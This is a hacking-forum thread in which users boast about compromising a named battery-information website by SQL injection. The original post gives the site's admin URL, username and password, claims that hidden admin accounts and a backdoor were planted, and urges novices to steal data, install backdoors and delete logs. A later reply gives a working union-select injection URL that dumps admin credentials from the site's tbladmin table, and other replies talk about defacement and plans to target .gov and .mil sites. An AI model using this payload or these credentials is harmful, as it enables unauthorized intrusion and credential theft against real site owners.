Thread: [\[MY FIRST .ORG HACKED!\] LeadAcidBatteryInfo.org \[SQLi\] \[ADMIN INFO\]](#)

agentannon - July 19, 2011, 8:13 pm

The website is:

<http://www.leadacidbatteryinfo.org/>

The Admin page is:

<http://www.leadacidbatteryinfo.org/admin/>

The Username is:

ishir (they made it this, not me)

The Password is:

"hacked_by_agent_anon"

Notes:

The attacked was SQLi. If you change the password, I have made many other admin account, bitch . I also have a backdoor, so I'm getting back in. You ARE an asshole if you change the password though, so don't do that.

I am posting this for two reasons:

1: To show that I hacked a fairly large site that I believe is run by Volvo

2: To allow those who aren't at the point where they can't hack sites yet, get the feel for this type of admin page. So that when they DO hack a site, they can change the password, make some accounts, steal some info, put in a backdoor, delete the logs, and get out!

I hope you have fun and learn a bit! It's my first fairly big hack and Jesus Christ, I'm scared about my login info, security sucks!

This site was brought to you by: Agent_Anon

xyble - July 19, 2011, 8:27 pm

So many people have done the same thing. Just do a [google search](#).

Regardless, well done.

Thetechnopig - July 19, 2011, 8:31 pm

Goodjob changing it from ishir123 ..

A friend of mine has done this before...

agentannon - July 19, 2011, 9:08 pm

Well now I'm less proud of myself... Sorry.

?,.*s??døw ??s????*,.? - July 19, 2011, 9:50 pm

No offence but 've read this like 5 times now.

mayee.28 - July 20, 2011, 6:08 am

IF U DONE YOURSELF THEN NICE START !!!

Nice one mate !!!

Keep going !!!

Have a happy hacking !!!

???

Example - July 20, 2011, 6:33 am

Not a big hack, do some research.

You see this part?

Quote:Copyright © 2005 Battery Council International

Or what about this?

Quote:Recent News

2006-03-10

Oh, and the part about Volvo?

Quote:LeadAcidBatteryInfo.org is a project of the Battery Council International.

Now I just feel like destroying all of your hard work.

P.S. The female escort I had over last night decided to claw into my back, and now it hurts. Not my fault.

indicud - July 20, 2011, 6:34 am

Lol someone is going to deface this, just wait.

Tainted Star - July 21, 2011, 4:01 am

Nice :)

and i liked its admin page.

never used one thats why :P

Diazepam - July 21, 2011, 5:11 am

So what exactly was your point in hacking this site?

skoob - January 19, 2012, 6:57 pm

Nice!! Who cares if it has been done before?

-DownFall - January 19, 2012, 7:02 pm

Yea, this was the first site I hacked.. I think someone accidentally dug it up from a few month ago.

FastFive - January 19, 2012, 8:15 pm

i would say, dont hack for no purpose, thats just a pain in the ass for the web developers

ill get some new sites tomorrow .govs or .mils hopefully. if you want to help pm me
time to step up the game

RRRoooRRR - January 19, 2012, 11:38 pm

It actually takes no type of skill to inject this site:

PHP Code

<?php

http:
//www.leadacidbatteryinfo.org/newsdetail.php?id=-52 union select 1,2,3,4,group_concat(username,0
x3a,password),6,7,8,9,10,11 from tbladmin--

Good find,

-Chosen-

Zhen. - January 20, 2012, 12:08 am

Website has been already hacked several times and many tuts has it as an example
But nice progress for your first start

Joestf - January 20, 2012, 1:26 am

Swear this site was used for examples all the way through one of the Microsoft certifications.

dios - January 20, 2012, 2:36 am

don't login without VPN

fck35chardamn

redbyte - January 20, 2012, 2:40 am

buddy this site shit
the admin page u cant use it for any thing
shit

rasul183 - January 20, 2012, 10:00 am

Could you tell me how man. Org can hack sites?

KiNGxRecklessv2 - January 20, 2012, 10:07 pm

this was one of my first hacks but the admin panel was messed up and didnt work
